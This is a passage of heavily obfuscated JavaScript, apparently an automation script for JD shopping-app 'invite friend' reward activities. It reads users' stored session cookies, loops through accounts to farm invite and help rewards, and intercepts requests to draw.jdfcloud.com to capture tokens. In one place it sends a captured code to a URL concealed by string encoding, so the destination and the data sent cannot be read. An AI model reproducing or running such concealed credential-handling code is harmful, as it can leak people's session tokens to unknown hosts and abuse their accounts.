Set(_0x5ca1ff),[..._0x4557b4[_0x2f75('7f','Q$kf')](getRandomArrayElements,[...run_pins[0x0][_0x2f75('80','ePm4')](',')],[...run_pins[0x0][_0x2f75('81','Fyq1')](',')][_0x2f75('82','RmFY')])]];run_pins=[[...run_pins][_0x2f75('83','DDc8')](',')];invite_pins=run_pins;}}else{console[_0x2f75('84','bIbB')](_0x2f75('85','xV2K'));run_pins=run_pins[0x0][_0x2f75('86','xFT#')](',');Object[_0x2f75('87','#8i1')](jdCookieNode)[_0x2f75('88','xFT#')](_0x4a6ff4=>_0x4a6ff4[_0x2f75('89','Le]x')](/pt_pin=(.+?);/))[_0x2f75('8a','cojS')](_0x240aa3=>run_pins[_0x2f75('8b','T)no')](decodeURIComponent(_0x240aa3[_0x2f75('8c','FxP2')](/pt_pin=(.+?);/)[0x1])));run_pins=[...new Set(run_pins)];let _0x7bad75=run_pins[_0x2f75('8d','FxP2')](run_pins[_0x2f75('8e','IbaU')](_0x4557b4[_0x2f75('8f','[c5e')]),0x1);_0x7bad75[_0x2f75('7e','#22D')](...run_pins[_0x2f75('90','YEe$')](run_pins[_0x2f75('91','ZzmZ')](_0x4557b4[_0x2f75('92','T)no')]),0x1));const _0x1b5b21=_0x4557b4[_0x2f75('93','sb)9')](getRandomArrayElements,run_pins,run_pins[_0x2f75('94','qp(7')]);run_pins=[[..._0x7bad75,..._0x1b5b21][_0x2f75('95','T)no')](',')];invite_pins=run_pins;}}cookie=cookiesArr[_0x1fcc24];UserName=_0x4557b4[_0x2f75('96','7uGH')](decodeURIComponent,cookie[_0x2f75('97','DDQ2')](/pt_pin=(.+?);/)&&cookie[_0x2f75('98','t3gf')](/pt_pin=(.+?);/)[0x1]);$[_0x2f75('99','iTVo')]=_0x4557b4[_0x2f75('9a','Le]x')](_0x1fcc24,0x1);$[_0x2f75('9b','skPA')]=0x0;$[_0x2f75('9c','xFT#')]=0x0;console[_0x2f75('9d','sBG4')](_0x2f75('9e','u1ko')+$[_0x2f75('9f','ZXWk')]+'】'+UserName+'\x0a');$[_0x2f75('a0','zsdz')]=!![];$[_0x2f75('a1','ePm4')]=!![];console[_0x2f75('a2','t3gf')](_0x2f75('a3','fsS*'));const _0x22f93f=_0x4557b4[_0x2f75('a4','VU!4')]($[_0x2f75('a5',']oVs')],invite_pins[_0x2f75('a6','Huk@')])?_0x4557b4[_0x2f75('a7','DDc8')](invite_pins[_0x2f75('a8','7uGH')],0x1):_0x4557b4[_0x2f75('a9','#22D')]($[_0x2f75('aa','xFT#')],0x1);let _0x5219ba=invite_pins[_0x22f93f][_0x2f75('86','xFT#')](',');_0x5219ba=[..._0x5219ba,..._0x4557b4[_0x2f75('ab','[PRY')](getRandomArrayElements,friendsArr,_0x4557b4[_0x2f75('ac','sBG4')](friendsArr[_0x2f75('ad',']oVs')],0x12)?0x12:friendsArr[_0x2f75('ae','Le]x')])];await _0x4557b4[_0x2f75('af','uUNQ')](invite,_0x5219ba);if($[_0x2f75('b0','XXgT')]&&$[_0x2f75('b1','t3gf')]){if(_0x4557b4[_0x2f75('b2','lCrz')](_0x4557b4[_0x2f75('b3','Q$kf')],_0x4557b4[_0x2f75('b4','xFT#')])){const _0x2e27b8=$request[_0x2f75('b5','XXgT')][_0x4557b4[_0x2f75('b6','YEe$')]];$[_0x2f75('b7','sBG4')](_0x2e27b8,_0x4557b4[_0x2f75('b8','YEe$')]);$[_0x2f75('b9','DoG6')]($[_0x2f75('ba','uUNQ')],_0x4557b4[_0x2f75('bb','YEe$')],'');$[_0x2f75('bc','ZXWk')]({'url':url});}else{if(_0x4557b4[_0x2f75('bd','Q$kf')](nowTimes[_0x2f75('be','x2bQ')](),0x9)&&_0x4557b4[_0x2f75('bf','#8i1')](nowTimes[_0x2f75('c0','DDc8')](),0x15)){console[_0x2f75('76','PHIh')](_0x2f75('c1','XXgT'));const _0x21382d=_0x4557b4[_0x2f75('c2','IbaU')]($[_0x2f75('c3','r@HV')],run_pins[_0x2f75('94','qp(7')])?_0x4557b4[_0x2f75('c4','PHIh')](run_pins[_0x2f75('c5','T)no')],0x1):_0x4557b4[_0x2f75('c6','7uGH')]($[_0x2f75('c7','wUli')],0x1);let _0x7ceda0=run_pins[_0x21382d][_0x2f75('c8','ZXWk')](',');await _0x4557b4[_0x2f75('c9','Huk@')](run,_0x7ceda0);}else{console[_0x2f75('ca','IbaU')](_0x2f75('cb','xFT#'));}}}await _0x4557b4[_0x2f75('cc','sb)9')](showMsg);}}else{_0x4557b4[_0x2f75('cd','[c5e')](resolve,data);}}$[_0x2f75('ce','ZzmZ')]();}let count=0x0;async function getToken(){var _0x5d892e={'aKygW':_0x2f75('cf','#8i1'),'jgATA':_0x2f75('d0','DoG6'),'HtniV':function(_0x445380,_0x4d8d6e){return _0x445380===_0x4d8d6e;},'EqddH':function(_0x5d1033,_0x47d9a3){return _0x5d1033===_0x47d9a3;},'mbLqe':_0x2f75('d1','skPA'),'YTYCn':_0x2f75('d2','Q$kf'),'onXUV':function(_0x4c8ae6,_0xdf59e9,_0x57d1db){return _0x4c8ae6(_0xdf59e9,_0x57d1db);},'okpfD':function(_0x21b22a,_0x47b60b){return _0x21b22a===_0x47b60b;},'lvgRI':_0x2f75('d3','&9ZX'),'MpHqd':_0x2f75('d4','gywN'),'cICfW':function(_0xdeb7d1,_0x1e5977){return _0xdeb7d1!==_0x1e5977;},'HLqYa':_0x2f75('d5','u1ko'),'qaODt':_0x2f75('d6','DDQ2'),'zTKql':_0x2f75('d7','lCrz'),'xvplj':function(_0x595a5c,_0x4b33c4,_0x4197c6){return _0x595a5c(_0x4b33c4,_0x4197c6);},'MzWLl':_0x2f75('d8','$laD'),'rdBpi':_0x2f75('d9','7uGH'),'afVxb':_0x2f75('da','skPA'),'bjOKV':_0x2f75('db','uUNQ'),'UqAwS':_0x2f75('dc','DDc8')};const _0x35eba4=$request[_0x2f75('dd','xV2K')];$[_0x2f75('a2','t3gf')]($[_0x2f75('de','7uGH')]+_0x2f75('df','ePm4')+_0x35eba4+'\x0a');if(_0x5d892e[_0x2f75('e0','[PRY')](isURL,_0x35eba4,/^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=/)){if(_0x5d892e[_0x2f75('e1','7uGH')](_0x5d892e[_0x2f75('e2','[PRY')],_0x5d892e[_0x2f75('e3','Le]x')])){run_pins[_0x2f75('1b','t3gf')]($[_0x2f75('e4','f2Z1')](_0x5d892e[_0x2f75('e5','wUli')]));}else{const _0xb96b11=JSON[_0x2f75('e6','VU!4')]($response[_0x2f75('e7','aWnF')]);const _0x20e89c=_0xb96b11[_0x2f75('e8','XXgT')]&&_0xb96b11[_0x2f75('e9','sb)9')][_0x2f75('ea','#8i1')];if(_0x20e89c){if(_0x5d892e[_0x2f75('eb','f2Z1')](_0x5d892e[_0x2f75('ec','T)no')],_0x5d892e[_0x2f75('ed','[PRY')])){friendsArr=$[_0x2f75('ee','x2bQ')][_0x5d892e[_0x2f75('ef','YEe$')]];console[_0x2f75('f0','r@HV')](_0x2f75('f1','XXgT')+friendsArr[_0x2f75('f2','ZzmZ')]+_0x2f75('f3','bIbB'));}else{$[_0x2f75('f4','ZXWk')]($[_0x2f75('f5','$laD')]+_0x2f75('f6','#22D')+_0x20e89c+'\x0a');$[_0x2f75('f7','[PRY')]($[_0x2f75('f8','ZXWk')],_0x5d892e[_0x2f75('f9','u1ko')],'');console[_0x2f75('fa','lCrz')](_0x2f75('fb','RmFY')+_0x20e89c+'\x0a');$[_0x2f75('fc','DDQ2')][_0x2f75('fd','ePm4')]({'url':_0x2f75('fe','sb)9')+_0x20e89c+'/'})[_0x2f75('ff','RmFY')](_0xf217c5=>{var _0x34fc68={'FxjBV':function(_0x150856,_0x34d986){return _0x5d892e[_0x2f75('100','$laD')](_0x150856,_0x34d986);}};if(_0x5d892e[_0x2f75('101','FxP2')](_0xf217c5[_0x2f75('102','xV2K')],0xc8)){try{if(_0x5d892e[_0x2f75('103','Fyq1')](_0x5d892e[_0x2f75('104','#22D')],_0x5d892e[_0x2f75('105','r@HV')])){if(_0x34fc68[_0x2f75('106','Q$kf')](_0xf217c5[_0x2f75('107','ZXWk')],0xc8)){try{let {_0xb96b11}=_0xf217c5;console[_0x2f75('108','aWnF')](_0x2f75('109','x2bQ')+_0xb96b11+'\x0a');_0xb96b11=JSON[_0x2f75('10a','&9ZX')](_0xb96b11);console[_0x2f75('ca','IbaU')](''+_0xb96b11[_0x2f75('10b','WZTw')]);}catch(_0x44d767){console[_0x2f75('10c','RmFY')](_0x2f75('10d','PHIh')+_0x44d767);}}}else{let {body}=_0xf217c5;console[_0x2f75('10e','zsdz')](_0x2f75('10f','#22D')+_0xb96b11+'\x0a');_0xb96b11=JSON[_0x2f75('110','#22D')](_0xb96b11);console[_0x2f75('111','gywN')](''+_0xb96b11[_0x2f75('112','Q$kf')]);}}catch(_0x43fdea){console[_0x2f75('10c','RmFY')](_0x2f75('113','Fyq1')+_0x43fdea);}}});$[_0x2f75('114','ePm4')](_0x20e89c,_0x5d892e[_0x2f75('115','aWnF')]);}}$[_0x2f75('116','wUli')]({'body':JSON[_0x2f75('117','T)no')](_0xb96b11)});}}else if(_0x5d892e[_0x2f75('118','PHIh')](isURL,_0x35eba4,/^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=/)){if($request&&_0x5d892e[_0x2f75('119','j$g9')]($request[_0x2f75('11a','7uGH')],_0x5d892e[_0x2f75('11b','YEe$')])){const _0x42d627=$request[_0x2f75('11c','f2Z1')][_0x5d892e[_0x2f75('11d','&9ZX')]];$[_0x2f75('11e','t3gf')](_0x42d627,_0x5d892e[_0x2f75('11f','XXgT')]);$[_0x2f75('120','lCrz')]($[_0x2f75('f5','$laD')],_0x5d892e[_0x2f75('121','iTVo')],'');$[_0x2f75('122','iTVo')]({'url':_0x35eba4});}}else{if(_0x5d892e[_0x2f75('123','XXgT')](_0x5d892e[_0x2f75('124','uUNQ')],_0x5d892e[_0x2f75('125','[PRY')])){$[_0x2f75('126','t3gf')]();}else{if(data){console[_0x2f75('5d','f1T4')](_0x2f75('127','DDc8'));data=JSON[_0x2f75('128','iTVo')](data);}}}}function readToken(){var _0x2db3a1={'QAEFi':function(_0x3f842b,_0x1dbf10){return _0x3f842b-_0x1dbf10;},'fLCon':function(_0x28399f,_0x219ced){return _0x28399f>_0x219ced;},'QplGV':function(_0x56f2dc,_0x4b10f8){return _0x56f2dc*_0x4b10f8;},'xoEPY':function(_0x56b9f9,_0xb1c670){return _0x56b9f9+_0xb1c670;},'UNSef':_0x2f75('129','skPA'),'aUWAz':_0x2f75('12a','gywN'),'gHANl':function(_0x1ae3d1,_0x2e7aef){return _0x1ae3d1===_0x2e7aef;},'VFymv':_0x2f75('12b','t3gf'),'sSHXH':function(_0x3e4a0e,_0x52f860){return _0x3e4a0e===_0x52f860;},'lHcLk':_0x2f75('12c','r@HV'),'hEINP':_0x2f75('12d','YEe$'),'MAank':function(_0xef3e8b,_0x392553){return _0xef3e8b===_0x392553;},'XxAvr':_0x2f75('12e','#8i1'),'strQY':_0x2f75('12f','ZzmZ'),'rqnxE':_0x2f75('130','&9ZX'),'vRJFo':_0x2f75('131','x2bQ'),'kihvV':function(_0x19d2d9,_0x47a338){return _0x19d2d9(_0x47a338);},'ZStPi':function(_0x43b516,_0x2395b9){return _0x43b516>_0x2395b9;},'DPybN':function(_0x1c2f47,_0x255468){return _0x1c2f47/_0x255468;}};return new Promise(_0x4ff3dd=>{var _0x112075={'dIBkI':function(_0x26515c,_0x5d1d7f){return _0x2db3a1[_0x2f75('132','ZzmZ')](_0x26515c,_0x5d1d7f);},'AVAxK':function(_0x2abb82,_0x408289){return _0x2db3a1[_0x2f75('133','ePm4')](_0x2abb82,_0x408289);},'KfSYN':function(_0x3ee7c9,_0x1e0c81){return _0x2db3a1[_0x2f75('134','bIbB')](_0x3ee7c9,_0x1e0c81);}};$[_0x2f75('135','ZzmZ')]({'url':_0x2f75('136','j$g9'),'timeout':0x2710},(_0x2eebc9,_0x1bb5d3,_0x3b4fec)=>{var _0x3b945a={'uoetl':function(_0x1de533,_0x2dd482){return _0x2db3a1[_0x2f75('137','[PRY')](_0x1de533,_0x2dd482);},'rKUZd':function(_0x51cf1a,_0x50a33a){return _0x2db3a1[_0x2f75('138','ZXWk')](_0x51cf1a,_0x50a33a);},'eunsU':function(_0x1ef90b,_0x124f1e){return _0x2db3a1[_0x2f75('139','YEe$')](_0x1ef90b,_0x124f1e);},'mdYJU':function(_0x2d77bd,_0x5a62f1){return _0x2db3a1[_0x2f75('13a','cojS')](_0x2d77bd,_0x5a62f1);},'IZzpN':_0x2db3a1[_0x2f75('13b','bIbB')],'KvBcT':_0x2db3a1[_0x2f75('13c','f2Z1')]};try{if(_0x2db3a1[_0x2f75('13d','IbaU')](_0x2db3a1[_0x2f75('13e','[PRY')],_0x2db3a1[_0x2f75('13f','f1T4')])){if(_0x2eebc9){if(_0x2db3a1[_0x2f75('140','ZXWk')](_0x2db3a1[_0x2f75('141','DDc8')],_0x2db3a1[_0x2f75('142','xV2K')])){let _0x2700ed=arr[_0x2f75('143','Q$kf')](0x0),_0x40bcae=arr[_0x2f75('144','PHIh')],_0x42bb02=_0x3b945a[_0x2f75('145','skPA')](_0x40bcae,count),_0x36629b,_0x414711;while(_0x3b945a[_0x2f75('146','PHIh')](_0x40bcae--,_0x42bb02)){_0x414711=Math[_0x2f75('147','Le]x')](_0x3b945a[_0x2f75('148','lCrz')](_0x3b945a[_0x2f75('149','lCrz')](_0x40bcae,0x1),Math[_0x2f75('14a','r@HV')]()));_0x36629b=_0x2700ed[_0x414711];_0x2700ed[_0x414711]=_0x2700ed[_0x40bcae];_0x2700ed[_0x40bcae]=_0x36629b;}return _0x2700ed[_0x2f75('14b','Le]x')](_0x42bb02);}else{console[_0x2f75('14c','WZTw')](''+JSON[_0x2f75('14d','x2bQ')](_0x2eebc9));console[_0x2f75('14e','VU!4')]($[_0x2f75('14f','u1ko')]+_0x2f75('150','gywN'));}}else{if(_0x2db3a1[_0x2f75('151','XXgT')](_0x2db3a1[_0x2f75('152','ZzmZ')],_0x2db3a1[_0x2f75('153','&9ZX')])){let _0x3a8803='';if(_0x112075[_0x2f75('154','skPA')]($[_0x2f75('155','&9ZX')],0x0)){_0x3a8803+='给'+_0x112075[_0x2f75('156','DDQ2')]($[_0x2f75('157','fsS*')],0x1e)+_0x2f75('158','x2bQ')+$[_0x2f75('159','Le]x')]+_0x2f75('15a','XXgT');}if(_0x112075[_0x2f75('15b','lCrz')]($[_0x2f75('15c','skPA')],0x0)){_0x3a8803+='给'+_0x112075[_0x2f75('15d','lCrz')]($[_0x2f75('15e','t3gf')],0x5)+_0x2f75('15f','ePm4')+$[_0x2f75('160','j$g9')]+'g';}if(_0x3a8803){$[_0x2f75('161','sb)9')]($[_0x2f75('162','T)no')],'',_0x2f75('163','fsS*')+$[_0x2f75('164','XXgT')]+'\x20'+UserName+'\x0a'+_0x3a8803);}}else{if(_0x3b4fec){console[_0x2f75('165','xV2K')](_0x2f75('166','aWnF'));_0x3b4fec=JSON[_0x2f75('167','bIbB')](_0x3b4fec);}}}}else{if(_0x2eebc9){$[_0x2f75('74','$laD')](_0x3b945a[_0x2f75('168','wUli')]);$[_0x2f75('169','bIbB')](JSON[_0x2f75('117','T)no')](_0x2eebc9));}else{_0x3b4fec=JSON[_0x2f75('16a','lCrz')](_0x3b4fec);}}}catch(_0x1fd4c7){if(_0x2db3a1[_0x2f75('16b','qp(7')](_0x2db3a1[_0x2f75('16c','uUNQ')],_0x2db3a1[_0x2f75('16d','[PRY')])){$[_0x2f75('16e','r@HV')]=readTokenRes[_0x2f75('16f','VU!4')][0x0]||$[_0x2f75('36','RmFY')](_0x3b945a[_0x2f75('170','f2Z1')]);}else{$[_0x2f75('171','[c5e')](_0x1fd4c7,_0x1bb5d3);}}finally{_0x2db3a1[_0x2f75('172','skPA')](_0x4ff3dd,_0x3b4fec);}});});}function showMsg(){var _0x27f023={'SSKiu':function(_0x3f0228,_0x5d55b7){return _0x3f0228>_0x5d55b7;},'suoit':function(_0x16b95d,_0x1f378b){return _0x16b95d===_0x1f378b;},'fnFxH':_0x2f75('173','f1T4'),'sIzCz':function(_0xf7c4b9,_0x2b49d2){return _0xf7c4b9/_0x2b49d2;},'gGETa':function(_0x3920c9,_0x2405a5){return _0x3920c9>_0x2405a5;},'TArRE':function(_0x46a167,_0x59c975){return _0x46a167/_0x59c975;},'jGwLu':function(_0x513fdf){return _0x513fdf();}};return new Promise(async _0x347b48=>{if($[_0x2f75('174','[c5e')]||$[_0x2f75('9c','xFT#')]){let _0x2ddedb='';if(_0x27f023[_0x2f75('175','T)no')]($[_0x2f75('176','Fyq1')],0x0)){if(_0x27f023[_0x2f75('177','t3gf')](_0x27f023[_0x2f75('178','#8i1')],_0x27f023[_0x2f75('179','t3gf')])){_0x2ddedb+='给'+_0x27f023[_0x2f75('17a','j$g9')]($[_0x2f75('17b','zsdz')],0x1e)+_0x2f75('17c','Le]x')+$[_0x2f75('176','Fyq1')]+_0x2f75('17d','f1T4');}else{console[_0x2f75('ca','IbaU')](_0x2f75('17e','[PRY')+item+_0x2f75('17f','DDQ2'));}}if(_0x27f023[_0x2f75('180','sBG4')]($[_0x2f75('181','qp(7')],0x0)){_0x2ddedb+='给'+_0x27f023[_0x2f75('182','cojS')]($[_0x2f75('183','lCrz')],0x5)+_0x2f75('184','fsS*')+$[_0x2f75('185','PHIh')]+'g';}if(_0x2ddedb){$[_0x2f75('186','&9ZX')]($[_0x2f75('187','f1T4')],'',_0x2f75('188','Q$kf')+$[_0x2f75('189','7uGH')]+'\x20'+UserName+'\x0a'+_0x2ddedb);}}_0x27f023[_0x2f75('18a','f1T4')](_0x347b48);});}async function invite(_0x1412d3){var _0xcb6c7a={'zQXIu':function(_0x3dad32,_0x2d82a1){return _0x3dad32(_0x2d82a1);},'XxVAo':_0x2f75('18b','f2Z1'),'BqsLs':_0x2f75('18c','PHIh'),'ZBjDs':function(_0x5947cb,_0x40129f){return _0x5947cb===_0x40129f;},'NUniV':_0x2f75('18d','u1ko'),'umxbv':function(_0x4b41a4,_0x5e6e47){return _0x4b41a4===_0x5e6e47;},'LoHkQ':_0x2f75('18e','ZXWk'),'bnhzV':_0x2f75('18f','skPA'),'XgpPA':function(_0x2a446c,_0x3c44d6){return _0x2a446c===_0x3c44d6;},'HvCvC':_0x2f75('190','bIbB'),'OcEZz':_0x2f75('191','xFT#'),'VdLVz':function(_0x2e81c8,_0x4bacc0){return _0x2e81c8===_0x4bacc0;},'kGIWC':_0x2f75('192','fsS*'),'fYVJN':_0x2f75('193','Huk@'),'bVvZz':function(_0x447f3e,_0xdedf7c){return _0x447f3e===_0xdedf7c;},'IjUOX':_0x2f75('194','skPA'),'tXGVs':function(_0xef5f81,_0x4f014c){return _0xef5f81(_0x4f014c);},'qjEsJ':_0x2f75('195','#22D'),'UyCBk':_0x2f75('196','VU!4'),'JDyGE':_0x2f75('197','VU!4'),'usWlw':_0x2f75('198','qp(7'),'JvjeN':_0x2f75('199','WZTw'),'ghJab':function(_0x18646f,_0x5934f1){return _0x18646f===_0x5934f1;},'dUVko':_0x2f75('19a','DDQ2'),'OmRTc':_0x2f75('19b','&9ZX'),'aITZD':_0x2f75('19c','sb)9'),'GDGuW':_0x2f75('19d','7uGH')};console[_0x2f75('19e','Le]x')]('账号'+$[_0x2f75('19f','bIbB')]+'\x20['+UserName+_0x2f75('1a0','T)no')+_0x1412d3[_0x2f75('1a1','Q$kf')](_0x30311b=>_0x30311b[_0x2f75('1a2','bIbB')]())+'\x0a');for(let _0x3522a2 of _0x1412d3[_0x2f75('1a3','bIbB')](_0x3522a2=>_0x3522a2[_0x2f75('1a4','ZXWk')]())){if(_0xcb6c7a[_0x2f75('1a5','FxP2')](_0xcb6c7a[_0x2f75('1a6','Huk@')],_0xcb6c7a[_0x2f75('1a7','#8i1')])){console[_0x2f75('1a8','ZzmZ')](_0x2f75('1a9','DDQ2')+$[_0x2f75('1aa','Fyq1')]+'\x20['+UserName+_0x2f75('1ab','f1T4')+_0x3522a2+_0x2f75('1ac','#8i1'));if(_0xcb6c7a[_0x2f75('1ad','DDQ2')](UserName,_0x3522a2)){console[_0x2f75('1ae','u1ko')](_0x2f75('1af','ZXWk'));continue;}const _0x4e6d9d=await _0xcb6c7a[_0x2f75('1b0','[PRY')](enterRoom,_0x3522a2);if(_0x4e6d9d){if(_0x4e6d9d[_0x2f75('1b1','#22D')]){const {helpStatus}=_0x4e6d9d[_0x2f75('57','Huk@')];console[_0x2f75('14c','WZTw')](_0x2f75('1b2','DDc8')+helpStatus);if(_0xcb6c7a[_0x2f75('1b3','VU!4')](helpStatus,_0xcb6c7a[_0x2f75('1b4','#8i1')])){if(_0xcb6c7a[_0x2f75('1b5','gywN')](_0xcb6c7a[_0x2f75('1b6','&9ZX')],_0xcb6c7a[_0x2f75('1b7','#8i1')])){console[_0x2f75('ca','IbaU')](_0x2f75('1b8','FxP2'));break;}else{_0xcb6c7a[_0x2f75('1b9','7uGH')](resolve,_0x4e6d9d);}}else if(_0xcb6c7a[_0x2f75('1ba','#8i1')](helpStatus,_0xcb6c7a[_0x2f75('1bb','PHIh')])){if(_0xcb6c7a[_0x2f75('1bc','Le]x')](_0xcb6c7a[_0x2f75('1bd','RmFY')],_0xcb6c7a[_0x2f75('1be','&9ZX')])){console[_0x2f75('10e','zsdz')](_0x2f75('1bf','f1T4')+_0x3522a2+_0x2f75('1c0','&9ZX'));}else{cookiesArr[_0x2f75('1c1','xV2K')](jdCookieNode[_0x3522a2]);}}else if(_0xcb6c7a[_0x2f75('1c2','ZzmZ')](helpStatus,_0xcb6c7a[_0x2f75('1c3','gywN')])){console[_0x2f75('1c4','Fyq1')](_0x2f75('1c5','YEe$')+_0x3522a2+_0x2f75('1c6','[PRY'));}else if(_0xcb6c7a[_0x2f75('1c7','Q$kf')](helpStatus,_0xcb6c7a[_0x2f75('1c8','RmFY')])){if(_0xcb6c7a[_0x2f75('1c9','ZzmZ')](_0xcb6c7a[_0x2f75('1ca','Huk@')],_0xcb6c7a[_0x2f75('1cb','lCrz')])){console[_0x2f75('fa','lCrz')](_0x2f75('1cc','[PRY')+_0x3522a2+_0x2f75('1cd','#22D'));const _0x3f82c1=await _0xcb6c7a[_0x2f75('1ce','xV2K')](helpInviteFriend,_0x3522a2);if(_0xcb6c7a[_0x2f75('1cf','VU!4')](_0x3f82c1[_0x2f75('1d0',']oVs')],_0xcb6c7a[_0x2f75('1d1','iTVo')])&&!_0x3f82c1[_0x2f75('1d2','RmFY')]){console[_0x2f75('1ae','u1ko')](_0xcb6c7a[_0x2f75('1d3','$laD')]);$[_0x2f75('1d4','T)no')]('',_0xcb6c7a[_0x2f75('1d5','PHIh')]);$[_0x2f75('186','&9ZX')]($[_0x2f75('1d6','IbaU')],_0xcb6c7a[_0x2f75('1d7','skPA')],_0xcb6c7a[_0x2f75('1d8','WZTw')]);$[_0x2f75('1d9','sBG4')]=![];break;}else{$[_0x2f75('1da','x2bQ')]=!![];}}else{$[_0x2f75('1db','j$g9')]($[_0x2f75('1dc','YEe$')]+_0x2f75('1dd','t3gf'));$[_0x2f75('1de','DoG6')](JSON[_0x2f75('1df','XXgT')](err));}}$[_0x2f75('1e0','7uGH')]=!![];}else{if(_0xcb6c7a[_0x2f75('1e1','uUNQ')](_0x4e6d9d[_0x2f75('1e2','uUNQ')],_0xcb6c7a[_0x2f75('1e3','#22D')])){if(_0xcb6c7a[_0x2f75('1e4','sb)9')](_0xcb6c7a[_0x2f75('1e5','f1T4')],_0xcb6c7a[_0x2f75('1e6','$laD')])){_0x4e6d9d=JSON[_0x2f75('73','DoG6')](_0x4e6d9d);}else{console[_0x2f75('1e7','[PRY')](_0xcb6c7a[_0x2f75('1e8','u1ko')]);$[_0x2f75('b9','DoG6')]($[_0x2f75('1e9','ePm4')],_0x2f75('1ea','FxP2'),_0x2f75('1eb','f2Z1')+$[_0x2f75('1ec','zsdz')]+'\x20'+UserName+_0x2f75('1ed','gywN'),{'open-url':_0xcb6c7a[_0x2f75('1ee','DDQ2')]});$[_0x2f75('1ef','[c5e')]=![];break;}}}}}else{$[_0x2f75('1f0','xFT#')]($[_0x2f75('1f1','zsdz')],_0xcb6c7a[_0x2f75('1f2','x2bQ')],_0xcb6c7a[_0x2f75('1f3','ePm4')],{'open-url':_0xcb6c7a[_0x2f75('1f4','aWnF')]});return;}}}function enterRoom(_0x3b4191){var _0x50922b={'OZkvI':function(_0x2b83b9,_0x381b74){return _0x2b83b9!==_0x381b74;},'PGapa':_0x2f75('1f5','sBG4'),'PKPgO':_0x2f75('1f6','xFT#'),'HuJNM':function(_0x4967ee,_0x547c3a){return _0x4967ee!==_0x547c3a;},'ZaWvA':_0x2f75('1f7','lCrz'),'KhyeN':function(_0x55f412,_0x2d8f15){return _0x55f412(_0x2d8f15);},'aIQkL':_0x2f75('1f8','IbaU'),'kCSeN':_0x2f75('1f9','VU!4'),'nTTqu':_0x2f75('1fa','ZzmZ'),'uSGhk':function(_0x1ce60b,_0x37d022){return _0x1ce60b(_0x37d022);},'xGjcU':_0x2f75('1fb','RmFY'),'HrzOt':_0x2f75('1fc','Q$kf'),'FaLbL':function(_0xb3e854,_0x55be02){return _0xb3e854+_0x55be02;},'ALHwr':_0x2f75('1fd','sb)9'),'omNpP':_0x2f75('1fe',']oVs')};return new Promise(_0x181a6a=>{var _0x3be7fb={'KYJPG':_0x50922b[_0x2f75('1ff','uUNQ')]};headers[_0x2f75('200','x2bQ')]=cookie;headers[_0x2f75('201','xFT#')]=$[_0x2f75('202','YEe$')];headers[_0x50922b[_0x2f75('203','sb)9')]]=_0x50922b[_0x2f75('204','iTVo')];let _0x409dad={'url':_0x2f75('205','f2Z1')+_0x50922b[_0x2f75('206','ZzmZ')](encodeURI,_0x3b4191)+_0x2f75('207','XXgT')+Date[_0x2f75('208','ePm4')](),'method':_0x50922b[_0x2f75('209','DDc8')],'data':{},'credentials':_0x50922b[_0x2f75('20a','&9ZX')],'header':{'content-type':_0x50922b[_0x2f75('20b','xFT#')]}};const _0x5ba5e8=_0x50922b[_0x2f75('20c','lCrz')](_0x50922b[_0x2f75('20d','7uGH')],_0x50922b[_0x2f75('20e','ePm4')](taroRequest,_0x409dad)[_0x50922b[_0x2f75('20f','f1T4')]]);const _0xa7ead5={'url':_0x5ba5e8,'body':'{}','headers':headers};$[_0x2f75('210','DDc8')](_0xa7ead5,(_0x66572e,_0x5af6a2,_0x266985)=>{try{if(_0x66572e){$[_0x2f75('211','Q$kf')]($[_0x2f75('212','VU!4')]+_0x2f75('213','DDQ2'));$[_0x2f75('f4','ZXWk')](JSON[_0x2f75('214','FxP2')](_0x66572e));}else{_0x266985=JSON[_0x2f75('215','r@HV')](_0x266985);}}catch(_0xb57262){if(_0x50922b[_0x2f75('216','f2Z1')](_0x50922b[_0x2f75('217','f1T4')],_0x50922b[_0x2f75('218','ePm4')])){$[_0x2f75('171','[c5e')](_0xb57262,_0x5af6a2);}else{$[_0x2f75('219','zsdz')]($[_0x2f75('21a','iTVo')],'',_0x2f75('21b','VU!4')+$[_0x2f75('a5',']oVs')]+'\x20'+UserName+'\x0a'+message);}}finally{if(_0x50922b[_0x2f75('21c','xFT#')](_0x50922b[_0x2f75('21d','cojS')],_0x50922b[_0x2f75('21e','T)no')])){invite_pins[_0x2f75('7e','#22D')]($[_0x2f75('21f','DDc8')](_0x3be7fb[_0x2f75('220','T)no')]));}else{_0x50922b[_0x2f75('221','#22D')](_0x181a6a,_0x266985);}}});});}function helpInviteFriend(_0x185ca9){var _0x11e8d0={'MjIpc':_0x2f75('222','uUNQ'),'gqtzD':function(_0x2cf044,_0x32d812){return _0x2cf044===_0x32d812;},'MjLFr':_0x2f75('223','FxP2'),'ducXy':function(_0x144e93,_0x4befe3){return _0x144e93===_0x4befe3;},'xDyNN':_0x2f75('224','j$g9'),'rQCaP':function(_0x4bfff8,_0x5ade07){return _0x4bfff8!==_0x5ade07;},'DMQxx':_0x2f75('225','FxP2'),'grtWM':function(_0x3584d9,_0x52f644){return _0x3584d9(_0x52f644);},'BOiPB':_0x2f75('226','x2bQ'),'ExQwh':_0x2f75('227','fsS*'),'Xhckx':_0x2f75('228','Fyq1'),'VkViA':function(_0x9b4ef3,_0x293800){return _0x9b4ef3+_0x293800;},'RxRZy':_0x2f75('229','ZXWk'),'LDeZV':_0x2f75('22a','f1T4')};return new Promise(_0x2f1304=>{var _0x2eae34={'pXgIr':_0x11e8d0[_0x2f75('22b','ZXWk')],'JiuLw':function(_0x3c3122,_0x2af6f8){return _0x11e8d0[_0x2f75('22c','cojS')](_0x3c3122,_0x2af6f8);},'UDmUO':_0x11e8d0[_0x2f75('22d','RmFY')],'eGehE':function(_0xdb5249,_0x11c764){return _0x11e8d0[_0x2f75('22e','DDQ2')](_0xdb5249,_0x11c764);},'issyJ':_0x11e8d0[_0x2f75('22f','sBG4')],'BfHGL':function(_0x5e8143,_0x17d5e4){return _0x11e8d0[_0x2f75('230',']oVs')](_0x5e8143,_0x17d5e4);},'Cbsdj':_0x11e8d0[_0x2f75('231','[PRY')],'WMhAK':function(_0x34568f,_0x1e04db){return _0x11e8d0[_0x2f75('232','VU!4')](_0x34568f,_0x1e04db);}};headers[_0x2f75('233','skPA')]=cookie;headers[_0x2f75('234','FxP2')]=$[_0x2f75('60','sBG4')];let 